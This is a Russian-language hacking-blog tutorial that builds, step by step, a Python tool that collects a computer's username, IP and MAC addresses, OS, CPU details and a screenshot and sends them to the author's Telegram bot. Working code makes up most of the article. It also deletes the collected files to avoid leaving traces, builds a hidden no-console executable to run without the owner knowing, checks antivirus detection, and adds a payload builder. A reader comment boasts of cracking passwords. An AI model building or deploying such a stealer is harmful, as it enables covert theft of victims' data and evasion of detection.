Сбор информации о системе удаленно с помощью Python

Получение информации о системе удаленно с Python

Ес­ли вы час­то име­ете дело с раз­ными компь­юте­рами, вам, конеч­но, нужен прос­той в исполь­зовании и быс­трый инс­тру­мент для сбо­ра информа­ции о сис­теме. Сегод­ня я покажу, как сде­лать прог­рамму, которая удаленно с помощью Python может получить из сво­ей или чужой сис­темы некото­рые важ­ные дан­ные — от IP до модели про­цес­сора и отсы­лающую соб­ранные дан­ные в Telegram.

Еще по теме: Взлом WiFi на Python

Что­бы прос­то пос­мотреть IP-адрес и дру­гие нас­трой­ки сети, вам при­дет­ся обра­тить­ся к коман­дной стро­ке и выпол­нить коман­ду ipconfig /all. Ситу­ация одна из самых час­тых для эни­кей­щиков и уда­лен­ных шаманов, но она хотя бы быс­тро реша­ема. Но если при­дет­ся собирать более серь­езный набор информа­ции о машине, с которой сей­час будете работать, — без авто­мати­зации не обой­тись. Этим мы сегод­ня и зай­мем­ся.

Сбор информации о системе удаленно с помощью Python

Имейте в виду, что эта прог­рамма может исполь­зовать­ся как для быс­тро­го сбо­ра информа­ции о сво­ей сис­теме, так и для кра­жи иден­тифици­рующей информа­ции с компь­юте­ра жер­твы. Мы граж­дане законо­пос­лушные, поэто­му пусть это и не пароли, но, что­бы не раз­дра­жать пра­воох­раните­лей, все тес­ты будут про­водить­ся на изо­лиро­ван­ных вир­туаль­ных машинах.

Статья написана исключительно для пентестеров (хакеров, у которых есть разрешение для проведение тестирования на проникновение). Не­сан­кци­они­рован­ный дос­туп к компь­ютер­ной информа­ции — прес­тупле­ние. Ни автор статьи, ни редак­ция сайта spy-soft.net не несут ответс­твен­ности за ваши дей­ствия.

Инструменты

Сна­чала давайте раз­берем­ся, где будем писать код. Мож­но кодить в обыч­ном вин­довом «Блок­ноте», но мы вос­поль­зуем­ся спе­циаль­ной IDE для Python — PyCharm. Уста­нов­ка и нас­трой­ка прос­ты как два руб­ля: ска­чал уста­нов­щик, запус­тил — и кли­кай себе «Далее», пока есть такая кноп­ка.

Еще нам пот­ребу­ется Python. Я буду исполь­зовать вер­сию 3.9.0 — с ней точ­но все работа­ет.

Задачи

Да­вай сна­чала обри­суем, что мы вооб­ще пла­ниру­ем делать. Я пла­нирую собирать сле­дующую информа­цию:

  1. IP-адрес.
  2. MAC-адрес.
  3. Имя поль­зовате­ля.
  4. Тип опе­раци­онной сис­темы.
  5. Ско­рость работы сис­темы.
  6. Вре­мя.
  7. Скрин­шот.
  8. Ско­рость интернет‑соеди­нения.
  9. Мо­дель про­цес­сора.

И отправ­лять­ся это все будет пря­миком вам в телегу через спе­циаль­ный бот.

Зачем?

На­вер­няка у вас воз­ник воп­рос: зачем может понадо­бить­ся MAC-адрес или модель про­цес­сора? Эти парамет­ры меня­ются очень и очень ред­ко, так что прек­расно под­ходят для фин­гер­прин­тинга. Даже если поль­зователь купит более быс­трый интернет‑канал или поменя­ет часовой пояс, вы без осо­бого тру­да смо­жете опре­делить, что уже имел дело с этим компь­юте­ром. Сто­ит пом­нить, что ров­но такие же методы исполь­зуют хит­рые рек­ламщи­ки для иден­тифика­ции поль­зовате­лей, да и раз­работ­чики три­аль­ных вер­сий прог­рамм тоже. Эта статья поможет чуть луч­ше понять, что мож­но узнать о вашем компь­юте­ре в пол­ностью авто­мати­чес­ком режиме, а как при­менить эту информа­цию — решать толь­ко вам.

В этой статье мы не будем показы­вать, как сфор­мировать устой­чивый к нез­начитель­ным изме­нени­ям иден­тифика­тор, который поможет однознач­но опре­делить кон­крет­ный компь­ютер. Если вам ста­нет инте­рес­но — пишите в ком­ментах, и, воз­можно, я напишу небольшую статью на эту тему!

Создаем основу программы

Для отправ­ки дан­ных я решил вос­поль­зовать­ся Telegram-ботом. Соз­дать его вы можете через BotFather, а пос­ле сох­ранить token вашего тво­рения. Пуб­ликовать его нель­зя — любой, кто получит этот токен, смо­жет зах­ватить кон­троль над вашим ботом.

Для под­клю­чения к Bot API «телеги» нуж­ны все­го две строч­ки:

import telebot
bot = telebot.TeleBot("token from BotFather") # Подключение бота

Что­бы оце­нить быс­тро­дей­ствие, мож­но написать еще пару строк. Весь даль­нейший код рас­положим меж­ду ними. Опи­сан­ное выше под­клю­чение бота уже впи­сано сюда.

import telebot
from datetime import datetime
bot = telebot.TeleBot("token")
start = datetime.now()  # Начало отсчета
# Сюда поместим нашу основу, поэтому оставляем место
ends = datetime.now()   # Конец отсчета
workspeed = format(ends - start)    # Вычисление времени

Те­перь перей­дем собс­твен­но к сбо­ру дан­ных.

Сбор данных

import getpass
import os
import socket
from datetime import datetime
from uuid import getnode as get_mac
import pyautogui
from speedtest import Speedtest
import telebot
import psutil
import platform
from PIL import Image

Те­перь крат­ко рас­смот­рим, что дела­ет каж­дый модуль. Если какие‑то фун­кции вам не нуж­ны, выб­росите стро­ку импорта модуля и код, который исполь­зует этот модуль. Все прос­то!

Итак, за работу с ОС и локаль­ными ресур­сами отве­чают эти 4 модуля:

  • getpass нужен для опре­деле­ния информа­ции о поль­зовате­ле;
  • os исполь­зуем для вза­имо­дей­ствия с фун­кци­ями ОС, вро­де вызова внеш­них исполня­емых фай­лов;
  • psutil работа­ет с некото­рыми низ­коуров­невыми сис­темны­ми фун­кци­ями;
  • platform пре­дос­тавит информа­цию об ОС.

Эти­ми модуля­ми реали­зова­ны сетевые вза­имо­дей­ствия:

  • socket — для работы с сокета­ми и получе­ния IP-адре­сов;
  • getnode получа­ет MAC-адрес машины;
  • speedtest замеря­ет харак­терис­тики интернет‑соеди­нения;
  • telebot сде­лает всю рутину по работе с Telegram-ботом.

Слу­жеб­ные при­моч­ки, которые труд­но отнести к катего­риям выше:

  • datetime поз­волит опре­делить вре­мя работы прог­раммы;
  • pyautogui быс­тро и без боли работа­ет с GUI;
  • PIL.Image — для сня­тия скрин­шота.

Пос­ле это­го нам тре­бует­ся узнать основные ста­биль­ные харак­терис­тики сис­темы: IP- и MAC-адре­са, имя поль­зовате­ля и ОС:

name = getpass.getuser()    # Имя пользователя
ip = socket.gethostbyname(socket.getfqdn())   # IP-адрес системы
mac = get_mac()   # MAC адрес
ost = platform.uname()    # Название операционной системы

Стро­ки кода снаб­жены ком­мента­риями и в пояс­нени­ях не нуж­дают­ся.

Скорость интернет-соединения

from speedtest import Speedtest # Импорт модуля. Рассматривался выше
inet = Speedtest()
download = float(str(inet.download())[0:2] + "." # Входящая скорость
                + str(round(inet.download(), 2))[1]) * 0.125
uploads = float(str(inet.upload())[0:2] + "."   # Исходящая скорость
                + str(round(inet.download(), 2))[1]) * 0.125

Ско­рость замеря­ется биб­лиоте­кой сер­виса Speedtest.net и, соот­ветс­твен­но, выда­ет резуль­тат в мегаби­тах, а не мегабай­тах. Что­бы это испра­вить, раз­делим чис­ленный резуль­тат на 8 или умно­жим на 0,125 — это одно и то же. Манипу­ляцию про­делы­ваем дваж­ды — для вхо­дящей и исхо­дящей ско­рос­ти.

Важ­но понимать, что замер не пре­тен­дует на свер­хточ­ность, потому что мы никак не можем лег­ко про­верить, какую часть канала пот­ребля­ют дру­гие прог­раммы или даже дру­гие устрой­ства в сети. Если вы под­клю­чил­ись к рабочей стан­ции уда­лен­но, ваше соеди­нение тоже что‑то будет пот­реблять. В прог­рамме поп­равка на это не реали­зова­на из‑за ее слиш­ком низ­кой точ­ности и тру­доем­кости.

Часовой пояс и время

import psutil
zone = psutil.boot_time()   # Узнает время, заданное на компьютере
time = datetime.fromtimestamp(zone)   # Переводит данные в читаемый вид

Ес­ли вы нас­тра­иваете чей‑то сер­вер или слиш­ком уда­лен­ный компь­ютер, вре­мя может отли­чать­ся. Ко всем про­чим дан­ным добавим и показа­ния часов — информа­ция лиш­ней не быва­ет. Если вы не знали, неп­равиль­но выс­тавлен­ное вре­мя и/или часовой пояс может вызывать сбои при под­клю­чении к сай­там, исполь­зующим HTTPS, а этот кусочек кода поз­волит лег­ко выявить такие проб­лемы.

Частота процессора

import psutil
cpu = psutil.cpu_freq()

Мо­жет помочь выявить при­чину тор­мозну­тос­ти компь­юте­ра: если про­цес­сор пос­тоян­но молотит на пол­ную, но прог­раммы вис­нут — про­цес­сор уста­рел, а если прос­таивает — винова­та прог­рамма. Да и прос­то общее пред­став­ление о железе дает.

Более глубокий фингерпринтинг

В этой статье умыш­ленно не рас­ска­зыва­ется, как получить иден­тифика­тор жес­тко­го дис­ка или GUID уста­нов­ленной Windows: мы не методич­ку для рек­ламщи­ков пишем, а прог­рамми­ровать тре­ниру­емся. Тем не менее вы лег­ко можете добавить сбор и такой информа­ции, вос­поль­зовав­шись кон­соль­ной ути­литой wmic. Ее вывод мож­но пар­сить с помощью Python-скрип­та, так что даже не при­дет­ся писать лиш­ние обвязки. На скрин­шоте при­мер получе­ния серий­ного номера BIOS.

при­мер получе­ния серий­ного номера BIOS
При­мер получе­ния серий­ного номера BIOS

Скриншот рабочего стола

os.getcwd()
try:    # Перехват ошибки в случае неверно указанного расположения
    os.chdir(r"/temp/path")
except OSError:
    @bot.message_handler(commands=['start'])
    def start_message(message): # Служебная обвязка для бота
        bot.send_message(message.chat.id, "[Error]: Location not found!")
        bot.stop_polling()
    bot.polling()
    raise SystemExit
screen = pyautogui.screenshot("screenshot.jpg") # Снятие скриншота

Тут все тоже мак­сималь­но прос­то, а за собс­твен­но сня­тие скрин­шота отве­чает толь­ко пос­ледняя стро­ка кода. Осталь­ное мы исполь­зуем для кор­рек­тной обра­бот­ки вхо­дящей коман­ды бота.

Запись в файл

Те­перь, ког­да все готово, мы можем прис­тупать к финаль­ному сбо­ру и отправ­ке дан­ных. Соз­даем готовый файл с нашими дан­ными: если исполь­зовал­ся мак­сималь­ный сбор информа­ции, а точ­нее весь код выше, то исполь­зуем такую запись, в про­тив­ном слу­чае уби­райте ненуж­ные вам дан­ные:

try: # Обвязка для обработки команд боту
    os.chdir(r"/temp/path")
except OSError:
    @bot.message_handler(commands=['start'])
    def start_message(message):
        bot.send_message(message.chat.id, "[Error]: Location not found!")
        bot.stop_polling()
    bot.polling()
    raise SystemExit
file = open("info.txt", "w") # Открываем файл
file.write(f"[================================================]\n  Operating System: {ost.system}\n  Processor: {ost.processor}\n  Username: {name}\n  IP adress: {ip}\n  MAC adress: {mac}\n  Timezone: {time.year}/{time.month}/{time.day} {time.hour}:{time.minute}:{time.second}\n  Work speed: {workspeed}\n  Download: {download} MB/s\n  Upload: {uploads} MB/s\n  Max Frequency: {cpu.max:.2f} Mhz\n  Min Frequency: {cpu.min:.2f} Mhz\n  Current Frequency: {cpu.current:.2f} Mhz\n[================================================]\n") # Пишем
file.close() # Закрываем

Длин­ный, но лег­ко чита­емый код. Пер­вая его часть обес­печива­ет обра­бот­ку коман­ды /start, вто­рая — запись всех дан­ных в файл. Резуль­тат попадет в info.txt, но путь, конеч­но, мож­но изме­нить пря­мо в коде.

Де­ло оста­ется за малым — отпра­вить резуль­тат в Telegram.

Отправка данных

Те­перь допол­ним код выше, что­бы он еще и фай­лы отправ­лял.

text = "Screenshot"   # Требуется при создании скриншота (текст к фото)
@bot.message_handler(commands=['start'])    # Выполняет действия при команде start
def start_message(message):
    upfile = open("Путь до файла\info.txt", "rb")    # Читает файлы
    uphoto = open("Путь до файла\screenshot.jpg", "rb")
    bot.send_photo(message.chat.id, uphoto, text)   # Отправляет данные
    bot.send_document(message.chat.id, upfile)
    upfile.close()    # Закрывает файлы (обязательно)
    uphoto.close()
    os.remove("info.txt")   # Удаляет файлы, чтобы не оставлять следы
    os.remove("screenshot.jpg")
    bot.stop_polling()    # Закрывает соединение после отправки
bot.polling()    # Создает соединение с ботом

Сна­чала ука­зыва­ется под­пись к скрин­шоту, потом чита­ем и отправ­ляем фай­лы в виде фото и докумен­та, затем зачища­ем сле­ды и зак­рыва­ем соеди­нение с ботом. Ничего слож­ного!

Ес­тес­твен­но, если нам не нужен, к при­меру, скрин­шот, мы можем вырезать код его отправ­ки, получив такой вари­ант:

@bot.message_handler(commands=['start'])
def start_message(message):
    upfile = open("Путь до файла\info.txt", "rb")
    bot.send_document(message.chat.id, upfile)
    upfile.close()
    os.remove("info.txt")
    bot.stop_polling()
bot.polling()
Что­бы бот гаран­тирован­но отправ­лял все сооб­щения вам, ука­жите вмес­то message.chat.id ID чата с собой. Его мож­но узнать через бот GetMyID.

Так­же сле­дует учесть одну деталь: перед запус­ком прог­раммы вы дол­жны отпра­вить сво­ему боту коман­ду /start, что­бы он понял, кому сле­дует отправ­лять дан­ные.

Собираем программу

Что­бы не тянуть с собой на дру­гой компь­ютер Python и зависи­мос­ти прог­раммы, давайте упа­куем все в один исполня­емый фай­лик. Дела­ется это с помощью PyInstaller, который ста­вит­ся прос­той коман­дой pip install pyinstaller.

Пе­рехо­дим с помощью коман­дной стро­ки в пап­ку с нашей прог­раммой и собира­ем ее коман­дой

pyinstaller -i путь_до_иконки --onefile наш_файл.py

Ар­гумент --onefile зас­тавит PyInstaller упа­ковать все в единс­твен­ный файл. Пос­ле -i надо ука­зать путь до икон­ки исполня­емо­го фай­ла, если вы хотите ее исполь­зовать. Если она не нуж­на, прос­то уда­лите этот аргу­мент. Пос­ледним идет путь к фай­лу с нашим кодом. Если вы не хотите, что­бы при запус­ке появ­лялась кон­соль (нап­ример, если вла­делец компь­юте­ра не зна­ет, что вы соб­рались ему помочь :D), поменяйте рас­ширение вход­ного фай­ла с кодом на .pyw или ука­жите опцию -w.

Не забывайте про­верять наличие модулей и их обновле­ний, что­бы избе­жать оши­бок. Вре­мен­ный путь мож­но ука­зать любой, но лич­но я ука­зываю C:\Temp. Само собой, если обна­руже­на ОС на базе Linux, то этот код при­дет­ся поп­равить.

Еще сле­дует про­верить, как силь­но и чем детек­тится наш файл. Что­бы вам не лезть на VirusTotal, я сде­лал это сам.

Ре­зуль­тат ска­ниро­вания на VirusTotal
Ре­зуль­тат ска­ниро­вания на VirusTotal

Пол­ный код про­екта я раз­местил на GitHub. Там есть и прог­рамма‑сбор­щик, о которой я рас­ска­жу ниже.

Пишем сборщик с графическим интерфейсом

Для соз­дания GUI сбор­щика нам при­дет­ся работать с биб­лиоте­кой Tkinter, поэто­му преж­де все­го импорти­руем ее и нуж­ные эле­мен­ты:

# -*- coding: utf-8 -*-     # Не забываем указывать конфигурацию
from tkinter import *     # Сама библиотека для работы
from tkinter import messagebox as mb     # Функция для создания окон с информацией

Пос­ле это­го нуж­но соз­дать окно, которое и будет осно­вой интерфей­са:

root = Tk()
root.title("Tkinter")   # Название программы
root.geometry("300x400")    # Разрешение окна программы

Нам нужен толь­ко ввод API-клю­ча для дос­тупа к боту. Дела­ется такой ввод кодом ниже:

text = Label(root, text="Telegram bot token")   # Текст для обозначения поля
text.grid(padx=100, pady=0)   # Расположение по x/y
API = Entry(root, width=20)   # Создание поля ввода данных
API.grid(padx=100, pady=0)

Это соз­даст два гра­фичес­ких объ­екта — поле вво­да и под­пись к нему.

В этом интерфей­се не хва­тает кноп­ки для сбор­ки выход­ного фай­ла. Давайте соз­дадим ее:

button = Button(root, text="Create", command=clicked, height=2, width=10)
button.grid(padx=100, pady=0)

Соз­даем фун­кцию, которая дол­жна находить­ся в фай­ле пос­ле импорта биб­лиотек. В ней мы дол­жны соз­давать файл и записы­вать в него код полез­ной наг­рузки.

def clicked():
    system = open("source.py", "w")
    system.write('''
# Сюда перемещаем полный код программы, которую мы писали раньше
''')
system.close()
Не шутите с про­бела­ми! Перед тем как встав­лять код, убе­дитесь, что там нет лиш­них про­белов, ина­че может воз­никнуть труд­но обна­ружи­мая ошиб­ка.

Но на этом наша фун­кция не закан­чива­ется, так как нуж­но дать поль­зовате­лю понять, готов ли файл. Дела­ем это с помощью MessageBox:

if API.get() or direct.get() == "":
   mb.showwarning("WARNING", "There are empty fields")
else:
   mb.showinfo("INFO", "The system.py file is ready!")

Те­перь оста­лось толь­ко запус­тить отри­сов­ку и обра­бот­ку сооб­щений стро­кой root.mainloop().

Оп­циональ­но мож­но соб­рать и сбо­роч­ный интерфейс. Для это­го исполь­зуем ста­рый доб­рый PyInstaller:

pyinstaller -F -w --onefile программа.py

И все готово! Теперь вы име­ете пол­ноцен­ную прог­рамму для сбо­ра дан­ных о сис­теме и ее сбор­щик, который уско­рит про­цесс работы.

Каж­дый раз при­бегать к PyInstaller, что­бы соб­рать прог­рамму, не слиш­ком удоб­но. Мож­но вос­поль­зовать­ся модулем os и вызывать PyInstaller авто­мати­чес­ки.

import os
os.system("pyinstaller --onefile наш_файл.py") # Сборка выходного бинарника
os.rmdir("build")
os.rmdir("__pycache__")
os.remove("system.py")
os.remove("system.spec")

Ес­ли вам понадо­билась икон­ка, мож­но добавить в коман­ду сбор­ки параметр -i file.ico, а для сбор­ки «невиди­мой» прог­раммы дописать -w — ров­но как при руч­ной сбор­ке!

Вывод

В этой статье мы разоб­рали от начала и до кон­ца, как вытащить из сво­ей или чужой сис­темы некото­рые важ­ные дан­ные — от IP до модели про­цес­сора. Конеч­но, глав­ное тут в том, что вы научил­ись хоть нем­ного писать код самос­тоятель­но — а при­менить всег­да куда‑нибудь получит­ся.

Если заин­тересо­вал­ись прог­рамми­рова­нием на Python — почитайте на­шу статью о написа­нии прос­того вируса, она ста­нет отличным зак­репле­нием навыков прог­рамми­рова­ния. Успе­хов!

Еще по теме: Простой кейлоггер на Python

ВКонтакте
OK
Telegram
WhatsApp
Viber

Один комментарий

  1. Avatar
    Вася

    помнится пифоном с помощью мощного пк через usb можно ломануть пароль . простая програмулина как мне поясняли прописывает и сбрасывает каждый раз новый пароль пока у взламываемого устройства не переполнится стек после чего устройство само отключает свою парольную защиту- как то так. 16 значный я ломал часа за 4. был бы комп помощнее наверно можно было бы и побыстрее.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *